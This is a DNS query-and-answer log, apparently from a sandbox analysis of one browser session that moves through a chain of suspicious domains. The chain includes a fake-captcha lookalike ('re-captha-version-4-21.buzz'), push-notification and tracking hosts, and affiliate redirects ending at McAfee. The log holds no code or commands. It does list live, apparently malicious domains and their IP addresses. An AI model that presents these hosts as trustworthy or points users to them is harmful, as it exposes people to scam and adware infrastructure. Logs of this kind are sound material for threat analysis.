Oct 3, 2024 17:20:00.552314043 CEST	192.168.2.17	1.1.1.1	0x27d7	Standard query (0)	www.facebook.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:20:00.552639008 CEST	192.168.2.17	1.1.1.1	0x3c86	Standard query (0)	www.facebook.com	65	IN (0x0001)	false
Oct 3, 2024 17:20:01.516117096 CEST	192.168.2.17	1.1.1.1	0x3504	Standard query (0)	baxhwilimy34czx6wyfa-f-dcf13e1a4-clientnsv4-s.akamaihd.net	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:20:01.516273975 CEST	192.168.2.17	1.1.1.1	0xd866	Standard query (0)	baxhwilimy34czx6wyfa-f-dcf13e1a4-clientnsv4-s.akamaihd.net	65	IN (0x0001)	false
Oct 3, 2024 17:20:01.577914953 CEST	192.168.2.17	1.1.1.1	0xec6d	Standard query (0)	02179912.akstat.io	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:20:01.578066111 CEST	192.168.2.17	1.1.1.1	0x38a5	Standard query (0)	02179912.akstat.io	65	IN (0x0001)	false
Oct 3, 2024 17:20:02.898267984 CEST	192.168.2.17	1.1.1.1	0x157a	Standard query (0)	prod.upsellit.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:20:02.898405075 CEST	192.168.2.17	1.1.1.1	0x11f8	Standard query (0)	prod.upsellit.com	65	IN (0x0001)	false
Oct 3, 2024 17:20:02.924253941 CEST	192.168.2.17	1.1.1.1	0xe7c4	Standard query (0)	app.upsellit.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:20:02.924597025 CEST	192.168.2.17	1.1.1.1	0x7ca9	Standard query (0)	app.upsellit.com	65	IN (0x0001)	false
Oct 3, 2024 17:20:03.839962006 CEST	192.168.2.17	1.1.1.1	0x5926	Standard query (0)	prod.upsellit.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:20:03.840190887 CEST	192.168.2.17	1.1.1.1	0x3bf7	Standard query (0)	prod.upsellit.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 3, 2024 17:18:09.988471985 CEST	1.1.1.1	192.168.2.17	0x6fba	No error (0)	ahchoadeegu.homes		185.155.184.36	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:18:11.991630077 CEST	1.1.1.1	192.168.2.17	0x13ae	No error (0)	831be5de.braraildye.live		3.76.71.197	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:18:13.538487911 CEST	1.1.1.1	192.168.2.17	0xe170	No error (0)	re-captha-version-4-21.buzz		188.114.96.3	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:18:13.538487911 CEST	1.1.1.1	192.168.2.17	0xe170	No error (0)	re-captha-version-4-21.buzz		188.114.97.3	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:18:13.543692112 CEST	1.1.1.1	192.168.2.17	0x17a1	No error (0)	re-captha-version-4-21.buzz			65	IN (0x0001)	false
Oct 3, 2024 17:18:13.887681007 CEST	1.1.1.1	192.168.2.17	0xd19c	No error (0)	www.google.com		142.250.186.100	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:18:13.887797117 CEST	1.1.1.1	192.168.2.17	0x18fb	No error (0)	www.google.com			65	IN (0x0001)	false
Oct 3, 2024 17:18:30.871588945 CEST	1.1.1.1	192.168.2.17	0xfeca	No error (0)	android.l.google.com		142.250.186.174	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:18:30.871588945 CEST	1.1.1.1	192.168.2.17	0xfeca	No error (0)	android.l.google.com		216.58.212.174	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:18:30.871588945 CEST	1.1.1.1	192.168.2.17	0xfeca	No error (0)	android.l.google.com		142.250.184.238	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:18:30.871588945 CEST	1.1.1.1	192.168.2.17	0xfeca	No error (0)	android.l.google.com		142.250.186.46	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:18:30.871588945 CEST	1.1.1.1	192.168.2.17	0xfeca	No error (0)	android.l.google.com		142.250.185.238	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:18:30.871588945 CEST	1.1.1.1	192.168.2.17	0xfeca	No error (0)	android.l.google.com		172.217.16.206	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:18:30.871588945 CEST	1.1.1.1	192.168.2.17	0xfeca	No error (0)	android.l.google.com		142.250.185.174	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:18:30.871588945 CEST	1.1.1.1	192.168.2.17	0xfeca	No error (0)	android.l.google.com		142.250.185.110	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:18:30.871588945 CEST	1.1.1.1	192.168.2.17	0xfeca	No error (0)	android.l.google.com		142.250.181.238	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:18:30.871588945 CEST	1.1.1.1	192.168.2.17	0xfeca	No error (0)	android.l.google.com		142.250.184.206	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:18:30.871588945 CEST	1.1.1.1	192.168.2.17	0xfeca	No error (0)	android.l.google.com		142.250.74.206	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:18:30.871588945 CEST	1.1.1.1	192.168.2.17	0xfeca	No error (0)	android.l.google.com		172.217.18.14	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:18:30.871588945 CEST	1.1.1.1	192.168.2.17	0xfeca	No error (0)	android.l.google.com		142.250.186.110	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:18:30.871588945 CEST	1.1.1.1	192.168.2.17	0xfeca	No error (0)	android.l.google.com		142.250.185.142	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:18:30.871588945 CEST	1.1.1.1	192.168.2.17	0xfeca	No error (0)	android.l.google.com		142.250.185.206	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:18:30.871588945 CEST	1.1.1.1	192.168.2.17	0xfeca	No error (0)	android.l.google.com		216.58.206.46	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:18:31.942511082 CEST	1.1.1.1	192.168.2.17	0x3d48	No error (0)	mobile-gtalk.l.google.com		74.125.206.188	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:18:39.316353083 CEST	1.1.1.1	192.168.2.17	0x8648	No error (0)	pushbizapi.com		136.243.216.232	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:18:40.485866070 CEST	1.1.1.1	192.168.2.17	0xa8b7	No error (0)	pushbizapi.com		136.243.216.232	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:18:40.513024092 CEST	1.1.1.1	192.168.2.17	0x1242	No error (0)	k8cpmrdof.thebigbonusleader.xyz		18.156.16.189	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:18:40.949351072 CEST	1.1.1.1	192.168.2.17	0x6980	No error (0)	static.imghst-de.com		104.26.2.30	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:18:40.949351072 CEST	1.1.1.1	192.168.2.17	0x6980	No error (0)	static.imghst-de.com		104.26.3.30	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:18:40.949351072 CEST	1.1.1.1	192.168.2.17	0x6980	No error (0)	static.imghst-de.com		172.67.73.113	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:18:40.949913025 CEST	1.1.1.1	192.168.2.17	0xc2b6	No error (0)	static.imghst-de.com			65	IN (0x0001)	false
Oct 3, 2024 17:18:40.950619936 CEST	1.1.1.1	192.168.2.17	0xdf4b	No error (0)	jpgtrk.imghst-de.com			65	IN (0x0001)	false
Oct 3, 2024 17:18:40.951462030 CEST	1.1.1.1	192.168.2.17	0xa4c3	No error (0)	jpgtrk.imghst-de.com		104.26.3.30	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:18:40.951462030 CEST	1.1.1.1	192.168.2.17	0xa4c3	No error (0)	jpgtrk.imghst-de.com		104.26.2.30	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:18:40.951462030 CEST	1.1.1.1	192.168.2.17	0xa4c3	No error (0)	jpgtrk.imghst-de.com		172.67.73.113	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:18:42.572330952 CEST	1.1.1.1	192.168.2.17	0x3614	No error (0)	trk.imghst-de.com		104.26.3.30	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:18:42.572330952 CEST	1.1.1.1	192.168.2.17	0x3614	No error (0)	trk.imghst-de.com		104.26.2.30	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:18:42.572330952 CEST	1.1.1.1	192.168.2.17	0x3614	No error (0)	trk.imghst-de.com		172.67.73.113	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:18:42.572366953 CEST	1.1.1.1	192.168.2.17	0x903e	No error (0)	trk.imghst-de.com			65	IN (0x0001)	false
Oct 3, 2024 17:18:42.748260021 CEST	1.1.1.1	192.168.2.17	0xa829	No error (0)	search.molhajane.live		185.36.140.14	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:18:44.076764107 CEST	1.1.1.1	192.168.2.17	0xb7c4	No error (0)	rtb.altairfomalhaut.com			65	IN (0x0001)	false
Oct 3, 2024 17:18:44.077275991 CEST	1.1.1.1	192.168.2.17	0x742a	No error (0)	rtb.altairfomalhaut.com		188.114.97.3	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:18:44.077275991 CEST	1.1.1.1	192.168.2.17	0x742a	No error (0)	rtb.altairfomalhaut.com		188.114.96.3	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:18:52.455478907 CEST	1.1.1.1	192.168.2.17	0xf610	No error (0)	pshmtrack.com		136.243.216.232	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:18:53.534480095 CEST	1.1.1.1	192.168.2.17	0x3c39	No error (0)	psh-dsp-trk.trkless.com		104.21.79.120	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:18:53.534480095 CEST	1.1.1.1	192.168.2.17	0x3c39	No error (0)	psh-dsp-trk.trkless.com		172.67.145.143	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:18:53.536449909 CEST	1.1.1.1	192.168.2.17	0xc34f	No error (0)	psh-dsp-trk.trkless.com			65	IN (0x0001)	false
Oct 3, 2024 17:18:55.218652010 CEST	1.1.1.1	192.168.2.17	0x913d	No error (0)	beta-scan.site		38.180.68.202	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:18:57.539233923 CEST	1.1.1.1	192.168.2.17	0x4268	No error (0)	beta-scan.site		38.180.68.202	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:18:59.493263960 CEST	1.1.1.1	192.168.2.17	0x56b2	No error (0)	sdk4push.com		157.90.33.121	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:18:59.493263960 CEST	1.1.1.1	192.168.2.17	0x56b2	No error (0)	sdk4push.com		23.88.8.125	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:18:59.493263960 CEST	1.1.1.1	192.168.2.17	0x56b2	No error (0)	sdk4push.com		157.90.33.122	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:18:59.493263960 CEST	1.1.1.1	192.168.2.17	0x56b2	No error (0)	sdk4push.com		23.88.8.123	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:18:59.493263960 CEST	1.1.1.1	192.168.2.17	0x56b2	No error (0)	sdk4push.com		157.90.33.72	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:18:59.493263960 CEST	1.1.1.1	192.168.2.17	0x56b2	No error (0)	sdk4push.com		178.63.248.56	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:18:59.493263960 CEST	1.1.1.1	192.168.2.17	0x56b2	No error (0)	sdk4push.com		157.90.33.68	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:18:59.493263960 CEST	1.1.1.1	192.168.2.17	0x56b2	No error (0)	sdk4push.com		178.63.248.57	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:18:59.494118929 CEST	1.1.1.1	192.168.2.17	0xc667	No error (0)	redrotou.net		139.45.197.251	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:18:59.598417044 CEST	1.1.1.1	192.168.2.17	0x2f32	No error (0)	translate.google.com	www3.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 17:18:59.598465919 CEST	1.1.1.1	192.168.2.17	0x8e04	No error (0)	translate.google.com	www3.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 17:18:59.598465919 CEST	1.1.1.1	192.168.2.17	0x8e04	No error (0)	www3.l.google.com		172.217.18.14	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:00.614429951 CEST	1.1.1.1	192.168.2.17	0xd87	No error (0)	redrotou.net		139.45.197.251	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:00.670783997 CEST	1.1.1.1	192.168.2.17	0x23ee	No error (0)	my.rtmark.net		139.45.195.8	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:00.783499002 CEST	1.1.1.1	192.168.2.17	0xdba0	No error (0)	sdk4push.com		157.90.33.122	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:00.783499002 CEST	1.1.1.1	192.168.2.17	0xdba0	No error (0)	sdk4push.com		178.63.248.57	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:00.783499002 CEST	1.1.1.1	192.168.2.17	0xdba0	No error (0)	sdk4push.com		23.88.8.125	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:00.783499002 CEST	1.1.1.1	192.168.2.17	0xdba0	No error (0)	sdk4push.com		178.63.248.56	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:00.783499002 CEST	1.1.1.1	192.168.2.17	0xdba0	No error (0)	sdk4push.com		157.90.33.72	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:00.783499002 CEST	1.1.1.1	192.168.2.17	0xdba0	No error (0)	sdk4push.com		23.88.8.123	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:00.783499002 CEST	1.1.1.1	192.168.2.17	0xdba0	No error (0)	sdk4push.com		157.90.33.68	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:00.783499002 CEST	1.1.1.1	192.168.2.17	0xdba0	No error (0)	sdk4push.com		157.90.33.121	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:00.786010981 CEST	1.1.1.1	192.168.2.17	0x2b24	No error (0)	uidsync.net		178.63.248.56	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:00.786010981 CEST	1.1.1.1	192.168.2.17	0x2b24	No error (0)	uidsync.net		23.88.8.123	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:00.786010981 CEST	1.1.1.1	192.168.2.17	0x2b24	No error (0)	uidsync.net		157.90.33.122	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:00.786010981 CEST	1.1.1.1	192.168.2.17	0x2b24	No error (0)	uidsync.net		23.88.8.125	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:00.786010981 CEST	1.1.1.1	192.168.2.17	0x2b24	No error (0)	uidsync.net		157.90.33.72	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:00.786010981 CEST	1.1.1.1	192.168.2.17	0x2b24	No error (0)	uidsync.net		178.63.248.57	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:00.786010981 CEST	1.1.1.1	192.168.2.17	0x2b24	No error (0)	uidsync.net		157.90.33.68	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:00.786010981 CEST	1.1.1.1	192.168.2.17	0x2b24	No error (0)	uidsync.net		157.90.33.121	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:00.913949966 CEST	1.1.1.1	192.168.2.17	0x779c	No error (0)	translate.google.com	www3.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 17:19:00.913949966 CEST	1.1.1.1	192.168.2.17	0x779c	No error (0)	www3.l.google.com		142.250.185.110	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:00.915519953 CEST	1.1.1.1	192.168.2.17	0x966a	No error (0)	translate.google.com	www3.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 17:19:01.725087881 CEST	1.1.1.1	192.168.2.17	0x5f5f	No error (0)	my.rtmark.net		139.45.195.8	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:03.199781895 CEST	1.1.1.1	192.168.2.17	0x1a55	No error (0)	uidsync.net		178.63.248.56	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:03.199781895 CEST	1.1.1.1	192.168.2.17	0x1a55	No error (0)	uidsync.net		157.90.33.121	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:03.199781895 CEST	1.1.1.1	192.168.2.17	0x1a55	No error (0)	uidsync.net		157.90.33.68	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:03.199781895 CEST	1.1.1.1	192.168.2.17	0x1a55	No error (0)	uidsync.net		178.63.248.57	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:03.199781895 CEST	1.1.1.1	192.168.2.17	0x1a55	No error (0)	uidsync.net		23.88.8.123	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:03.199781895 CEST	1.1.1.1	192.168.2.17	0x1a55	No error (0)	uidsync.net		23.88.8.125	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:03.199781895 CEST	1.1.1.1	192.168.2.17	0x1a55	No error (0)	uidsync.net		157.90.33.122	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:03.199781895 CEST	1.1.1.1	192.168.2.17	0x1a55	No error (0)	uidsync.net		157.90.33.72	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:11.403786898 CEST	1.1.1.1	192.168.2.17	0x287b	No error (0)	psh-dsp-trk.trkless.com			65	IN (0x0001)	false
Oct 3, 2024 17:19:11.403942108 CEST	1.1.1.1	192.168.2.17	0x741a	No error (0)	psh-dsp-trk.trkless.com		104.21.79.120	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:11.403942108 CEST	1.1.1.1	192.168.2.17	0x741a	No error (0)	psh-dsp-trk.trkless.com		172.67.145.143	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:12.319928885 CEST	1.1.1.1	192.168.2.17	0x60	No error (0)	avkk.newplanexcel.com	mm-prod-1479240573.ap-southeast-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 17:19:12.319928885 CEST	1.1.1.1	192.168.2.17	0x60	No error (0)	mm-prod-1479240573.ap-southeast-1.elb.amazonaws.com		18.139.38.244	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:12.319928885 CEST	1.1.1.1	192.168.2.17	0x60	No error (0)	mm-prod-1479240573.ap-southeast-1.elb.amazonaws.com		52.76.181.69	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:12.352642059 CEST	1.1.1.1	192.168.2.17	0x48c	No error (0)	avkk.newplanexcel.com	mm-prod-1479240573.ap-southeast-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 17:19:16.224184990 CEST	1.1.1.1	192.168.2.17	0x3906	No error (0)	www.jdoqocy.com	track.cj.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 17:19:16.227544069 CEST	1.1.1.1	192.168.2.17	0x4ea2	No error (0)	www.jdoqocy.com	track.cj.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 17:19:17.351763010 CEST	1.1.1.1	192.168.2.17	0x8363	No error (0)	cj.dotomi.com	track.cj.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 17:19:17.361504078 CEST	1.1.1.1	192.168.2.17	0xb365	No error (0)	cj.dotomi.com	track.cj.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 17:19:18.512607098 CEST	1.1.1.1	192.168.2.17	0xb02f	No error (0)	www.emjcd.com	track.cj.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 17:19:18.519936085 CEST	1.1.1.1	192.168.2.17	0x142d	No error (0)	www.emjcd.com	track.cj.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 17:19:38.002924919 CEST	1.1.1.1	192.168.2.17	0xa65e	No error (0)	www.mcafee.com	www-mcafeee-r53.awsconsumer.mcafee.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 17:19:38.002924919 CEST	1.1.1.1	192.168.2.17	0xa65e	No error (0)	www-mcafeee-r53.awsconsumer.mcafee.com	www.mcafee.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 17:19:38.170892954 CEST	1.1.1.1	192.168.2.17	0x375c	No error (0)	www.mcafee.com	www-mcafeee-r53.awsconsumer.mcafee.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 17:19:38.170892954 CEST	1.1.1.1	192.168.2.17	0x375c	No error (0)	www-mcafeee-r53.awsconsumer.mcafee.com	www.mcafee.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 17:19:39.207010984 CEST	1.1.1.1	192.168.2.17	0x2af1	No error (0)	tags.tiqcdn.com	dzfq4ouujrxm8.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 17:19:39.207010984 CEST	1.1.1.1	192.168.2.17	0x2af1	No error (0)	dzfq4ouujrxm8.cloudfront.net		13.33.187.116	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:39.207010984 CEST	1.1.1.1	192.168.2.17	0x2af1	No error (0)	dzfq4ouujrxm8.cloudfront.net		13.33.187.60	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:39.207010984 CEST	1.1.1.1	192.168.2.17	0x2af1	No error (0)	dzfq4ouujrxm8.cloudfront.net		13.33.187.58	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:39.207010984 CEST	1.1.1.1	192.168.2.17	0x2af1	No error (0)	dzfq4ouujrxm8.cloudfront.net		13.33.187.32	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:39.208214998 CEST	1.1.1.1	192.168.2.17	0xa827	No error (0)	www.upsellit.com		34.117.39.58	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:39.208332062 CEST	1.1.1.1	192.168.2.17	0x4492	No error (0)	tags.tiqcdn.com	dzfq4ouujrxm8.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 17:19:39.218326092 CEST	1.1.1.1	192.168.2.17	0x70d2	No error (0)	c.go-mpulse.net	wildcard46.go-mpulse.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 17:19:39.218780994 CEST	1.1.1.1	192.168.2.17	0x7a0a	No error (0)	c.go-mpulse.net	wildcard46.go-mpulse.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 17:19:39.219919920 CEST	1.1.1.1	192.168.2.17	0x8441	No error (0)	rtr.innovid.com	rtr-6-split-vohnus.rtr.innovid.com.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 17:19:39.219919920 CEST	1.1.1.1	192.168.2.17	0x8441	No error (0)	jrtr-uk-prod.inbake.com	rotator-prod-uk-acai-lb.inbake.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 17:19:39.219919920 CEST	1.1.1.1	192.168.2.17	0x8441	No error (0)	rotator-prod-uk-acai-lb.inbake.com		18.171.79.250	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:39.219919920 CEST	1.1.1.1	192.168.2.17	0x8441	No error (0)	rotator-prod-uk-acai-lb.inbake.com		3.10.136.199	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:39.219919920 CEST	1.1.1.1	192.168.2.17	0x8441	No error (0)	rotator-prod-uk-acai-lb.inbake.com		18.132.94.141	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:39.219919920 CEST	1.1.1.1	192.168.2.17	0x8441	No error (0)	rotator-prod-uk-acai-lb.inbake.com		18.168.141.19	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:39.219919920 CEST	1.1.1.1	192.168.2.17	0x8441	No error (0)	rotator-prod-uk-acai-lb.inbake.com		35.178.68.197	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:39.219919920 CEST	1.1.1.1	192.168.2.17	0x8441	No error (0)	rotator-prod-uk-acai-lb.inbake.com		35.176.10.130	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:39.219919920 CEST	1.1.1.1	192.168.2.17	0x8441	No error (0)	rotator-prod-uk-acai-lb.inbake.com		3.9.219.198	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:39.219919920 CEST	1.1.1.1	192.168.2.17	0x8441	No error (0)	rotator-prod-uk-acai-lb.inbake.com		18.135.24.71	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:39.220030069 CEST	1.1.1.1	192.168.2.17	0x1261	No error (0)	rtr.innovid.com	rtr-6-split-vohnus.rtr.innovid.com.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 17:19:39.220030069 CEST	1.1.1.1	192.168.2.17	0x1261	No error (0)	jrtr-uk-prod.inbake.com	rotator-prod-uk-acai-lb.inbake.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 17:19:39.227983952 CEST	1.1.1.1	192.168.2.17	0x9efa	No error (0)	sp.analytics.yahoo.com	spdc-global.pbp.gysm.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 17:19:39.227983952 CEST	1.1.1.1	192.168.2.17	0x9efa	No error (0)	spdc-global.pbp.gysm.yahoodns.net		54.246.144.89	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:39.227983952 CEST	1.1.1.1	192.168.2.17	0x9efa	No error (0)	spdc-global.pbp.gysm.yahoodns.net		54.171.122.26	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:39.228693962 CEST	1.1.1.1	192.168.2.17	0xdaa4	No error (0)	sp.analytics.yahoo.com	spdc-global.pbp.gysm.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 17:19:39.229465961 CEST	1.1.1.1	192.168.2.17	0x7e19	No error (0)	mcafeeinc.demdex.net	gslb-2.demdex.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 17:19:39.229465961 CEST	1.1.1.1	192.168.2.17	0x7e19	No error (0)	gslb-2.demdex.net	edge-irl1.demdex.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 17:19:39.229465961 CEST	1.1.1.1	192.168.2.17	0x7e19	No error (0)	edge-irl1.demdex.net	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 17:19:39.229465961 CEST	1.1.1.1	192.168.2.17	0x7e19	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		54.72.136.225	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:39.229465961 CEST	1.1.1.1	192.168.2.17	0x7e19	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		52.31.64.150	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:39.229465961 CEST	1.1.1.1	192.168.2.17	0x7e19	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		18.202.109.49	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:39.229465961 CEST	1.1.1.1	192.168.2.17	0x7e19	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		54.77.208.237	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:39.229465961 CEST	1.1.1.1	192.168.2.17	0x7e19	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		54.72.106.111	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:39.229465961 CEST	1.1.1.1	192.168.2.17	0x7e19	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		52.210.48.33	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:39.229465961 CEST	1.1.1.1	192.168.2.17	0x7e19	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		18.202.150.204	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:39.229465961 CEST	1.1.1.1	192.168.2.17	0x7e19	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		34.252.162.78	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:39.245265007 CEST	1.1.1.1	192.168.2.17	0xc17e	No error (0)	mcafeeinc.demdex.net	gslb-2.demdex.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 17:19:39.245265007 CEST	1.1.1.1	192.168.2.17	0xc17e	No error (0)	gslb-2.demdex.net	edge-irl1.demdex.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 17:19:39.245265007 CEST	1.1.1.1	192.168.2.17	0xc17e	No error (0)	edge-irl1.demdex.net	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 3, 2024 17:19:39.248145103 CEST	1.1.1.1	192.168.2.17	0x74b1	No error (0)	adservice.google.com		142.250.186.66	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:39.248739004 CEST	1.1.1.1	192.168.2.17	0x7706	No error (0)	adservice.google.com			65	IN (0x0001)	false
